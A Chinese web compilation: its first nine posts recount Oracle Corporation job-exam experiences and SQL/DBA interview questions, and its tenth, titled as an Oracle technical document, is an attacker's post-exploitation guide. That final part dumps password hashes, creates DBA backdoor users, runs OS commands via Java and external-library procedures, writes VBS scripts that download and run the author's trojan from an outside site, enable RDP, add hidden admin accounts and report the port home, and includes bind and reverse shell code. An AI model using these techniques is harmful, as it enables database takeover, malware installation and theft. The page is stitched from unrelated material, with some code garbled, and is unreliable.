oracle 笔试
“DJ叮叮”通过精心收集,向本站投稿了11篇oracle 笔试,以下是小编为大家准备的oracle 笔试,仅供参考,欢迎大家阅读。
篇1:oracle 笔试
发信站: 北大未名站 (12月15日16:44:54 星期三), 转信
文章出处:bbs.fudan.edu.cn
发信人: kismet (向日葵-真是稀里糊涂啊), 信区: Job
标 题: orcal笔试归来
发信站: 日月光华 (月15日16:31:04 星期三), 站内信件
给以后要考的同学参考一下吧,
oracle 笔试
。我申的是Graduate Trainee,笔试主要考察英文能力,不过里面的内容多数跟IT,互联
网有关。
试卷一共14页,一共75分钟。顺序记不清楚了,欢迎别的`同学补充。
1 将动词进行适当的形态时态变换,填空。
2 介词填空
3 改错(包括语法和拼写错误)
4 名次解释 要求用一个词组或者句子解释名词,蛮有意思的,记得有solution,self-le
arning,custumer centric,partnership,personal drive,还有几个想不起来了,
5 阅读理解 阅读一篇关于互联网安全的文章,回答几个问题。要求用整句回答
6 逻辑 跟SHL的那种一样,看一段短文,根据问题的陈述,选择true,not true,can
not say
7 作文 今年有两篇。
第一篇是要写一封商业信函。假设你是××公司的sales,今天去
客户那里介绍产品,介绍之后一位客户对你们的产品感兴趣,想进一步了解。请写一
封信给客户公司IT部门的经理,进行进一步的联系和回复。
第二篇是写一个说明。假设你有一个弟弟,他不怎么懂用电脑和上网搜索,并且他要
指示一步步去做 ,最终完成他想要做的事情。
感觉时间比较紧张,还是抓紧比较好。阅读,词汇都不难。四级就可以了。不过词汇大
多跟IT,internet有关。如果不是相关专业的同学可能会有点吃力。
篇2:Oracle笔试大观
Oracle笔试大观
动词时态填空
完形填空(介词或连词等)
短文找错(包括语法和拼写错误,不用改正)
句子改错(6句)
名词解释
personal drive, innovation, Integrity, Customer Centric, Value Creating, Solution, Self-learning, partnership
阅读理解 1.一篇文章,回答问题
2.3篇文章,判断给出的'说法是否正确,有点类似于SHL的verbal
作文
1.假设你刚给一个客户介绍了你公司的新产品,客户最后提出想了解更多关于该产品的信息,
Oracle笔试大观
,
请你给客户写一封Email,进行进一步联系。
2.帮助一个很少使用电脑的人上网搜索资料,写出具体步骤。
篇3:数据库oracle笔试
,
我在考场上写的n=5, i=2; 运行得出结果却为9. 分析了一下得出原因在于: 如果n<5的话,那么它会从其自身起一直到5都会执行j++这条语句, 因为此代码片段中并没有使用 break。
n与i有多种组合值, 如(1,1)、(4,1)和(5,1)等都可以。
3、 复习JAVA的 “内部类”章节。
4、 复习JAVA的` “反射”章节。
5、 温习操作系统 部分的知识。
6、 数组问题:
如我声明 int [] a = new int[1] , 那么a[0]的默认值就为0。 我起初理解错误了, 我认为如此声明只是为数组开辟了空间而已, 在其空间上默认值为NULL。
7、 关于启动 gc 的方法:
System.gc 和 RunTime()类的 gc() 方法, 但是即使调用了前面的方法也不保证一定会进行回收。
拓展之:
a. GC并不是定期来回收你的垃圾内存,即是根据需要来回收。
b. GC的回收是因为:它认为你的系统已经开始内存紧张(这个就是jvm的神奇)
c. 即使GC开始准备清理你的垃圾内存,但是如果该内存的引用还存在(不等于null), 这个时候GC仍然无能为力!
d、 RunTime类的 public static Runtime getRuntime() 返回: 与当前 Java 应用程序相关的 Runtime 对象。
8、 int i=10, double e = 10.0; 判断(i==e)、 (i==10.0)的真假。
我认为一个是int类型,一个是double类型,它们分属不同的类型, 所以我认为其是错误的, 然而经运行测试发现是正确的。
9、 public static void main(String[] args){
StringBuffer str1 = new StringBuffer(“a”);
StringBuffer str2 = new StringBuffer(“b”);
conver(str1, str2); }
篇4:Oracle笔试经验
Oracle笔试经验
一个半小时的PAC考试,分10个section,从头到尾都是单选,总体上看时间比较紧,主要内容包括编程原理(程序流程)、数理运算能力、数字敏感度、信息技术常识和英文。
虽说有点不利于非技术类考生,但实际上它的编程原理并不是针对某种特定程序语言的,其实就是考逻辑,不需要任何编程知识,
信息技术常识就是计算机三级信息技术的内容,只有一点点题,随便猜猜吧。毕竟人家招的是Graduate Trainee,包括技术类和非技术类,偶是学会计的,觉得还可以做。
英语分三部分,第一部分考词法超简单,最后一部分考阅读,中间一部分考反义词的`偶做得最快,因为纯粹考单词量,那些单词偶基本都不认识所以涂得最快。
写这个笔经是因为下周末还有一场笔试,一样的形式。没申请的同学这周抓紧了。
忘了交待,偶今天是霸王笔的。
篇5:Oracle笔试经验
Oracle笔试经验分享
上午参加了oracle的宣讲会,下午参加了笔试,
笔试的题是一个专门的公司出的,时间长度为90分钟。内容主要包括:
IT推理 数学计算 流程图推理 IT知识(有很多编译原理的东西) 测试数据分析速度的题(给一个数据表,然后判断每一个题里边列出的数据是不是跟表里一样。。。) 英语反义词 英语单项选择 英文阅读一共133道客观题,没有主观题。整个笔试过程中,时间是分段进行的,就是每一部分是3-15分钟的时间做题,时间到了之后只能做下边一个部分的题,
整体感觉时间安排很紧凑,无论是IT推理还是流程图都不是很涉及道技术的东西,只是对逻辑能力的测试,唯一考技术的点就是考的很多编译原理的那部分。这种笔试是没有办法准备的',所以,考试起来如果发现有不会的地方也不会因为之前没有准备而遗憾。感觉最难的部分是英语反义词部分,一共十道小题,基本都是GRE的词汇,因为我基本看不懂。。。英文阅读只有一篇,长度跟两篇六级阅读差不多,比六级阅读稍难一些。
笔试内容大概就是这么多,今天到场的大概有六七百人,Oracle下周还会举行一场笔试,没有申请的同学还有机会继续网申。感兴趣的同学加油.
篇6:ORACLE花园酒店笔试经验
ORACLE花园酒店笔试经验
夜了~~所以不打算多说了~简单回顾一下今天行程,因为~~今天算是到现在为止的另一番求职体验.
最初计划是去华师招聘会的~因为看中了两家公司,保利和新思维.
一切都准备好了,可惜东风转方向了...昨天下午小猫又跑来问我有没收到通知,我才知道ORACLE发邮件给我了,花园酒店宣讲加笔试.忙乱了一晚上,准备打印材料,查阅公司资料,查PAC EXAM...晚饭变成11点消夜...一直撑到1点多..倒床不起~ 早上6点45,突然自己就醒了...连闹钟也省了...梳洗后一边等小猫一边继续看公司资料(不过其实看来看去还是一样..等下解释...)
7点50去小猫宿舍等...臭小猫磨磨蹭蹭,过了8点才出门.车站堆满了人,无论是甲骨文还是华师,都要坐245,车又迟到了...等了半小时,刚决定回头打的,车就来了.刷...车门塞了起码50多人.好不容易挤上车.摇摇晃晃,9点07才到花园酒店...脚已经开始不行了...那对很烂的高跟鞋....
进去连身份证都没检我,找了个最靠右边的位置坐.9点24,宣讲开始. 睡得不够,差点听睡着了,硬撑着,眼皮快掉下来时就那起水杯喝(原因快睡着时拿水杯很容易掉...要抓紧点...就醒来了...)宣讲还OK, 就是那2个培训生分享那段2个人都赶时间的说,太急了,很多值得说的都没交代.QNA时大家问题太多延长了时间(其实有些人的问题好没水平...重复人家问过的也有,提之前宣讲强调过的问题也有...浪费机会...)本来准备了个问题,问关于对非IT专业学生的IT掌握程度的,有人问了类似的问题,作罢. 快12点才结束,然后说休息半个钟,门口一人一袋吃的.出去排队拿~一小袋饼干和西点(那个叉烧酥好难吃~饼干倒不错).厕所也得排长龙...然后在门口不远开吃,聊天,碰见晓华,碰见慧平,碰见慧琪,回座位时还碰见ADREAMS,吹了一下水.回座位时发现前面倒了一堆人,太困了吧~不想睡,怕闭了眼睛等下会更困,连忙翻进场时派的公司介绍(全英....),看了大半页,隔壁的女生搭讪(原来她广工的英文专业,发现她有个习惯,看到有纸就在上面涂鸦,画圈的...还写字~呵呵~看来她内心可能有点寂寞哦~)吹了一下就断了.继续看报.然后就12点45笔试时间了.听了一通纪律问题,要求等等,发卷.填信息,看例题.开始.
具体考了什么不全记得了,10部分,前7部分中文,有流程图推理,其实就跟SQL时学的那个什么IF..的那个形式一样,只是IF那里改成什么抽到红球抽到黑球之类.第一个还算可以,第2个就开始有点乱了,第3个图完全看不明白,飞了,第4个还是有点晕...做完剩5分钟,回头撞第3个图.好象是15分钟的题.然后停止,下一部分,顺序忘了,速算,3分钟10题(还是5分钟??).记得是用估算做得比较快,有些不会,代个数进去计...有一部分好象是数学推理,题型忘了...那个时候最容易忘事,完全投入混乱的计算当中...然后是做得最快的一部分...IT知识题...全蒙的...什么5 的什么叉树什么二进制是多少,胡乱填,做完了居然剩5分钟(那个监考很抵死,在我旁边的走道走来走去,可能很诧异我提前做完了,居然停在我身边不走了,隐约感受到他的奇异的眼神,估计他刚开始时以为碰到牛人了,结果仔细一看答卷,立刻明白是来白撞的,所以站了不够10秒就走了).另外还有判断题,给个表, 对照题目,看有没错字,号码数字等有没错.中文部分只记得这些了,然后是英文.先是语法题,巨简单,还给了10分钟,不够5分钟就完了,百无聊赖的等.然后是选反义词,好象有13个词...看得懂的只有3题...其他又继续蒙...又提前做完了.最后一部分阅读,挺长的.讲潮涨潮落的.有些题目答案不大清晰,找了很久都不SURE...然后就到时间了.先收题目,收完再收答卷.中间等的时候突然发现对错题有一题很奇怪的在5里画了圈(那里只可能有1和2 选,对和错),一瞄广工的发现那题也还是选1,2的,估计是选2时混乱了填了5去了,偷偷擦了改了.然后收答卷,走人.整个过程有点平淡,不过单是花园酒店估计也算是不错的`记忆了.反正它全国才招200人,其中100研发的,估计也轮不到我面试,经历了就罢了.
出来了以后迷迷糊糊跟小猫逛什么建设六马路,发现了上次那个意大利餐馆,那个广场原来叫宜安广场...然后发现找不了回去的公交,又硬撑着高跟鞋一扭一扭的走回花园酒店那头...等车,上车,还是没位子,继续站......(不过还好,车上的电视分散了我的痛苦,是在说海南的一个观音庙和九王庙的来历的,有趣)后来觉得有点不适想吐,怕是在摇晃的车子盯屏幕久了,放弃看电视.两头望.过了大金钟路才有位.到站,下车,快步回宿舍,脱掉鞋子.这段旅程终于告一段落了... 下星期天还会有一场笔试,给今天考不了的人备的.当然也提醒我们不能重复考,重复的只取最低分等等.
ORACLE之旅到此应该结束了.可惜去不了华师.听说很多人,逼爆,连新思维也很多人.回来到处问人家那边情况,为了3号有充足点的准备.希望有用吧~
好象又水多了...2点了...困...明天一早起来赶作业,然后回家睡大觉.希望星期一可以铲上去新思维投简历吧~(原来福华路就是购物中心那里!一直以为那条是魁奇路呢....)希望我还会顺利吧~ 大家也要加油哦!!^o^ 恩...倒床不起去了...
篇7:Oracle的笔试经验
Oracle的笔试经验
我的处女笔给了Oracle,感觉还不错,一切都来的太快了,说说经过吧,
昨天是一个孤独的星期六,而且是11.11光棍节,一个人中午才起来,迷迷糊糊的就开始上BBS,拿出自己总结的500强公司 deadline,发现Oracle和SAP的截至日期快要到了,于是就申请了一下,好在没有OQ,所以比较快,还是IT公司比较痛快,不像那些Bank 还有别的公司N个OQ,弄的人想死的感觉!
申请完Oracle,不到1个小时就有了回信,大致看了一下是邀请我参加笔试,恩,可能是RP爆发了一下吧!不过仔细一看笔试时间竟然是 11.11日早上9点,地点是北京香格里拉饭店....Faint了,51job太sb了,连忙到交大的BBS上看看,原来很多人都是这样的情况,经过调查我决定参加11.12日的上海香格里拉的presentation和test。
早上起来连忙去便利店买铅笔盒橡皮,竟然没有!死晶晶把我给骗了!硬着头皮做地铁来到陆家嘴,到处打听文具店,最后在正大百货楼下的莲花超市买到了,还没有2B的,faint。顺便说一下正大百货不错,下面的'超市有够大,找了半天收银台和出口呢!这时候竟然闹肚子...可能昨天晚上吃的东西不好吧...郁闷,解决之。
Oracle果然是nb的,宣讲会也要在香格里拉。不是第一次进五星级饭店了,虽然没有穿的狗模狗样的,周围都是老外,照样不惧他们,为了服务员甲骨文宣讲会的地点,直奔三楼。进去的时候发现里面黑压压的已经坐了一片,在服务生的引导下找到一个靠前的位置做好。唉,五星级就是不一样啊,准备好了矿泉水,圆珠笔,铅笔,记事纸还有6块清口糖,这次的宣讲会真的和上次参加的联合利华的没法比,联合利华就成垃圾了,
讲的也是蛮有意思的,可惜不是英文的,管理层很多香港人,HR那个manager一看就是香港的阔妇人啊,说中文还不如说英文听得懂呢。听了3 个小时的宣讲会,很有收获,感觉Oracle却是是一个NB的企业,如果能去就好了。发问时总是有学生把Oracle和SAP比较,说Oracle的市场占有率低,看起来几位manager很是不爽,有个直接就说SAP是什么?SAP就是sorry after purchase!真不知道SAP的人听了有什么反应!哈哈!
总算说道重点了,笔试是外包给PAC的职业技能测试,内容和我在网上看到的去年的不一样。总共有10个部分,前7个是中文,后面3个是英文, 90分钟有大约130题。。。题量之大还是我第一次看到的!肯定是做不完的。90分钟下来大约有2个部分没有昨晚,特别是速算那块10道题3分钟,疯了!题型有看流畅图填说明,看流程图写答案,速算,IT技能测试(这部分没有编过程的人就等死吧,我还不错),英文的是填空题,反义词(15题我可能就会5 个,根本看不懂),还有阅读(难度和雅思差不多)。大致就是这个样子了,总之是全方位的考察应聘者的能力,不是特别的难,但是也不容易,考完试挺旁边2个MM聊天IT部分她们是不会的。。
考完试没事去徐家汇的太平洋数码广场看看有没有卖笔记本电脑电池的(我的废了),竟然出地铁的时候被一个女的拉住,说我形象气质俱佳,一定让我留下电话号码好参加2个电视剧的演出....一个叫《肯德基》,另一个忘了,说会通知我去面试....难道我做明星的梦也开始了?哈哈哈哈!
就这些,希望攒点RP,通过Oracle的这次笔试,向面试进发!唉!找工作不容易啊!!
篇8:甲骨文(Oracle)笔试经验
。
考试时间:1小时15分钟
地点:北京交通大学
申请职位:Management Trainee
测试类别:English Test
题型&主要内容:
1、动词正确时态填空(高中水平)
2、介词填空
3、改错
4、名词解释(English to English)
Solution, Value Creating, Consumer centric, Integrated, partnership,。。(不记得了) 5、阅读并回答问题(open questions)
6、快速阅读(true or false questions)
7、作文(两个)
题目感觉不是很难,不会像NewEgg那次通篇GRE单词。但是时间非常紧张,本人没有做完作文。旁边的一个GG居然两个作文都写的`满满当当,汗!
网友二:甲骨文(oracle)技术笔试题
技术方面,英语的和MT差不多。
不过技术测试,主要是考java和数据库,后面五道题,
1.什么叫Normalization.什么叫3NF,并请列出1NF和2NF..
2.什么叫revised key index
3.什么叫死锁,举一个引起数据库操作中死锁的例子
4.BYTE[] buf = BYTE[1024];
in.read(buf)
in是一个接收图像数据的网络IO流,请指出这段代码有什么问题,并请用java代码改进它
5.你正在分析一个子系统的接口,发现接口很多。然后你同事劝你用Fecade, 问你用Fecade有什么好处?
篇9:杭州某公司的Oracle笔试题目
杭州某公司的Oracle笔试题目
1、表:table1(FId,Fclass,Fscore),用最高效最简单的SQL列出各班成绩最高的列表,显示班级,成绩两个字段,
2、有一个表table1有两个字段FID,Fno,字都非空,写一个SQL语句列出该表中一个FID对应多个不同的Fno的纪录。
类如:
101a1001
101a1001
102a1002
102a1003
103a1004
104a1005
104a1006
105a1007
105a1007
105a1007
结果:
102a1002
102a1003
104a1005
104a1006
3、有员工表empinfo
(
Fempno varchar2(10) not null pk,
Fempname varchar2(20) not null,
Fage number not null,
Fsalary number not null
);
假如数据量很大约1000万条;写一个你认为最高效的.SQL,用一个SQL计算以下四种人:
fsalary>9999 and fage > 35
fsalary>9999 and fage < 35
fsalary<9999 and fage > 35
fsalary<9999 and fage < 35
每种员工的数量;
4、表A字段如下
month person income
月份 人员 收入
要求用一个SQL语句(注意是一个)的处所有人(不区分人员)每个月及上月和下月的总收入
要求列表输出为
月份 当月收入 上月收入 下月收入
5,表B
C1 c2
-01-01 1
2005-01-01 3
2005-01-02 5
要求的处数据
2005-01-01 4
2005-01-02 5
合计 9
试用一个Sql语句完成,
6,数据库1,2,3 范式的概念与理解。
7,简述oracle行触发器的变化表限制表的概念和使用限制,行触发器里面对这两个表有什么限制。
8、oracle临时表有几种。
临时表和普通表的主要区别有哪些,使用临时表的主要原因是什么?
9,怎么实现:使一个会话里面执行的多个过程函数或触发器里面都可以访问的全局变量的效果,并且要实现会话间隔离?
10,aa,bb表都有20个字段,且记录数量都很大,aa,bb表的X字段(非空)上有索引,
请用SQL列出aa表里面存在的X在bb表不存在的X的值,请写出认为最快的语句,并解译原因。
11,简述SGA主要组成结构和用途?
12什么是分区表?简述范围分区和列表分区的区别,分区表的主要优势有哪些?
13,背景:某数据运行在archivelog,且用rman作过全备份和数据库的冷备份,
且所有的归档日志都有,现控制文件全部损坏,其他文件全部完好,请问该怎么恢复该数据库,说一两种方法。
14,用rman写一个备份语句:备份表空间TSB,level 为2的增量备份。
15,有个表a(x number(20),y number(20))用最快速高效的SQL向该表插入从1开始的连续的1000万记录。
篇10:oracle技术文档
作者:Robert
配合open那个工具
第一部分
基本查询指令
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs查询当前用户角色
select * from user_sys_privs查询当前用户系统权限
select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';查系统权限
grant select any dictionary to system with admin option;登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;建用户bob密码iloveyou
grant dba to bob;赋予bob DBA权限
grant execute on xmldom to bob 赋予用户execute
Create ROLE “javauserpriv” NOT IDENTIFIED
Create ROLE “javasyspriv” NOT IDENTIFIED 当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; 检查那些用户有DBA权限
select * from dba_directories;查看路径所在目录
第二部分,创建java,执行系统命令
no.1
Create or REPLACE LIBRARY exec_shell AS 'c:windowssystem32msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME “system”
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors上面这个没有回显的
如果不行可以使用下面这个
Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOMEmsvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME “system”
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors执行完后
执行
exec oracmd.exec ('net1 user robert iloveyou /add');no2.
Create or REPLACE AND COMPILE JAVA SOURCE NAMED “Host” AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = “C:windowssystem32cmd.exe”; // Windows XP/
//finalCommand[0] = “C:winntsystem32cmd.exe”; // Windows NT/
finalCommand[1] = “/y”;
finalCommand[2] = “/c”;
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = “/bin/sh”;
finalCommand[1] = “-c”;
finalCommand[2] = command;
}
final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();
new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println(“Process out :” + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println(“Exception caught printing process output.”);
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();
new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println(“Process err :” + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println(“Exception caught printing process error.”);
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}
public static boolean isWindows() {
if (System.getProperty(“os.name”).toLowerCase().indexOf(“windows”) != -1)
return true;
else
return false;
}
};
/
Create or REPLACE PROCEDURE host_command (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);
host_command('dir C:');
DBMS_OUTPUT.get_lines(l_output, l_lines);
END;这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
host_command('dir C:');
no3.
create or replace and compile
java souRCe named “util”
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;这句注意最后这里要授权下当前登陆的用户
grant javasyspriv to system最后执行
exec :x:=run_cmz('ipconfig');第二部分 操作磁盘文件
no1.
建立目录
create or replace directory DIR as 'C:';此目录当然也可以是启动目录
授权
grant read, write on directory DIR to system这步可以不用
然后执行操作
写文件
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject(“Microsoft.XMLHTTP”)
xPost.Open “GET”,“http:/ /blog.cnmoker.org/rad.exe”,0
xPost.Send()
Set sGet=CreateObject(“ADODB.Stream”)
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile “c:rad.exe”,2');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:test.vbs');
/
exec :x:=run_cmz('c:rad.exe');这步操作讲下载我的木马到c盘并执行
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389.vbs', 'W');
utl_file.put_line(file, 'Dim OperationRegistry
Set perationRegistry=WScript.createObject(“WScript.Shell”)
Dim TSPort,TSState,TSRegPath
TSRegPath=“HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-TcpPortNumber”
TSPort=OperationRegistry.RegRead(TSRegPath)
TSRegPath=“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerfDenyTSConnections”
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,“REG_DWORD”
End If');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:3389.vbs');vbs开启3389
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'user.vbs', 'W');
utl_file.put_line(file, 'set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)
s=“WinNT://”'||'&'||'wsnetwork.ComputerName
Set a=CreateObject(“Scripting.FileSystemObject”)
Set b=GetObject(os)
Set e=GetObject(os&“/Administrators,group”)
Set d=ob.Create(“user”,“bob”)
od.SetPassword “123456abc!@#”
od.SetInfo
Set f=GetObject(os&“/bob”,user)
oe.add os&“/bob”
oa.DeleteFile(“user.vbs”)');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
/
exec :x:=run_cmz('cscript. c:user.vbs');无net添加admin用户
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389p.vbs', 'W');
utl_file.put_line(file, '
Dim OperationRegistry
Set perationRegistry=WScript.createObject(“WScript.Shell”)
Dim TSPort,TSState,TSRegPath
TSRegPath=“HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-TcpPortNumber”
TSPort=OperationRegistry.RegRead(TSRegPath)
Set xPost=CreateObject(“Microsoft.XMLHTTP”)
xPost.Open “GET”,“blog.cnmoker.org/read3389/ro.asp?port=” '||'ccccc'||' TSPort,0
xPost.Send()
TSRegPath=“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerfDenyTSConnections”
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,“REG_DWORD”
End If
set bj=wscript.createObject(“wscript.shell”)
obj.Run(“sc config TermService start= demand”)
obj.Run(“sc stop TermService”)
obj.Run(“sc start TermService”)
wscript.quit
');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript. c:3389p.vbs');
/
exec :x:=run_cmz('del c:3389p.vbs');
/
blog.cnmoker.org/read3389/read.asp这个代码的作用是用来读取对方的3389端口并post下自己的网站数据库里
这个read.asp和ro.asp自己写吧
到此win下操作基本上是完成了
第三部分 linux的一些操作
linux的操作要用到sqlj语言
其实ISTO的kj总早就写了一些
我总结
create or replace and compile java source named bob as
import java.io.*;
import java.net.*;
public class BOB{
public static String listFolder(String path){
File f=null;
String str=“”;
f=new File(path);
String[] files=f.list();
if(files!=null)
for(int i=0;i
str+=files[i]+“rn”;
}
return str;
}
public static String saveFile(String filepath,String value){
FileOutputStream fos=null;
try {
fos=new FileOutputStream(filepath);
fos.write(value.getBytes());
return “OK”;
} catch (Exception e) {
return e.getMessage();
} finally{
if(fos!=null){
try {fos.close();} catch (Exception e) {}
}
}
}
public static String readFile(String pathfile,String code){
BufferedReader br=null;
String value=“”;
try {
br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile),code));
String s=null;
while((s=br.readLine())!=null){
value+=s;
}
return value;
} catch (Exception e) {
return e.getMessage();
} finally{
if(br!=null){try {br.close();} catch (IOException e) {}}
}
}
public static String execFile(String filepath,String code){
int i=0;
Runtime rt=Runtime.getRuntime();
String utput=“”;
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
Process ps=rt.exec(filepath);
isr=new InputStreamReader(ps.getInputStream(),code);
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
output+=new String(bufferC,0,i);
}
return output;
}catch(Exception e){
return e.getMessage();
}finally{
if(isr!=null)try {isr.close();} catch (IOException e) {}
}
}
public static String bindShell(int port){
ServerSocket ss=null;
Socket s=null;
try {
ss = new ServerSocket(port);
s=ss.accept();
new optShell(ss,s).start();
return “OK”;
} catch (Exception e) {
return e.getMessage();
}
}
public static String reverseShell(String host,int port){
Socket s=null;
try{
s=new Socket(host,port);
new optShell(null,s).start();
return “OK”;
}catch(Exception e){
return e.getMessage();
}
} //反弹shell的sqlj语句
public static class optShell extends Thread{
OutputStream s=null;
InputStream is=null;
ServerSocket ss;
Socket s;
public optShell(ServerSocket ss,Socket s){
this.ss=ss;
this.s=s;
try{
this.is=s.getInputStream();
this.os=s.getOutputStream();
}catch(Exception e){
if(os!=null)try {os.close();} catch(Exception ex) {}
if(is!=null)try {is.close();} catch(Exception ex) {}
if(s!=null)try {s.close();} catch(Exception ex) {}
if(ss!=null)try {ss.close();} catch(Exception ex) {}
}
}
public void run(){
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String line=“”;
String cmdhelp=“Command:rnlist rnsavernreadrnexecrnexitrn”;
try {
//os.write(cmdhelp.getBytes());
line=br.readLine();
while(!“exit”.equals(line)){
if(line.length()>3){
StringBuffer sb=new StringBuffer(line.trim());
String cmd=sb.substring(0, 4);
if(cmd.equals(“list”)){
os.write(“input you path:rn”.getBytes());
line=br.readLine();
os.write(listFolder(line).getBytes());
}else if(“save”.equals(cmd)){
os.write(“input you filepath:rn”.getBytes());
line=br.readLine();
os.write(“input you value:rn”.getBytes());
os.write(saveFile(line,br.readLine()).getBytes());
}else if(“read”.equals(cmd)){
os.write(“input you filepath:rn”.getBytes());
line=br.readLine();
os.write(“input you code examle:GBKrn”.getBytes());
os.write(readFile(line,br.readLine()).getBytes());
}else if(“exec”.equals(cmd)){
os.write(“input you run filepath:rn”.getBytes());
line=br.readLine();
os.write(“input you code examle:GBKrn”.getBytes());
os.write(execFile(line,br.readLine()).getBytes());
}else{
os.write(cmdhelp.getBytes());
}
}else{
os.write(cmdhelp.getBytes());
}
line=br.readLine();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(os!=null)try {os.close();} catch(Exception e) {}
if(is!=null)try {is.close();} catch(Exception e) {}
if(s!=null)try {s.close();} catch(Exception e) {}
if(ss!=null)try {ss.close();} catch(Exception e) {}
}
}
}
}
/
create or replace function BOB_LISTFOLDER(str varchar2) return varchar2
as language java name 'BOB.listFolder(java.lang.String) return java.lang.String';
/
create or replace function BOB_SAVEFILE(p varchar2,v varchar2) return varchar2
as language java name 'BOB.saveFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_READFILE(p varchar2,c varchar2) return varchar2
as language java name 'BOB.readFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_EXECFILE(fp varchar2,c varchar2) return varchar2
as language java name 'BOB.execFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_BINDSHELL(port number) return varchar2
as language java name 'BOB.bindShell(int) return java.lang.String';
/
begin
Dbms_Java.Grant_Permission('scott','java.io.FilePermission','','read,write,execute,delete');
Dbms_Java.Grant_Permission('scott','java.lang.RuntimePermission','*','writeFileDescriptor');
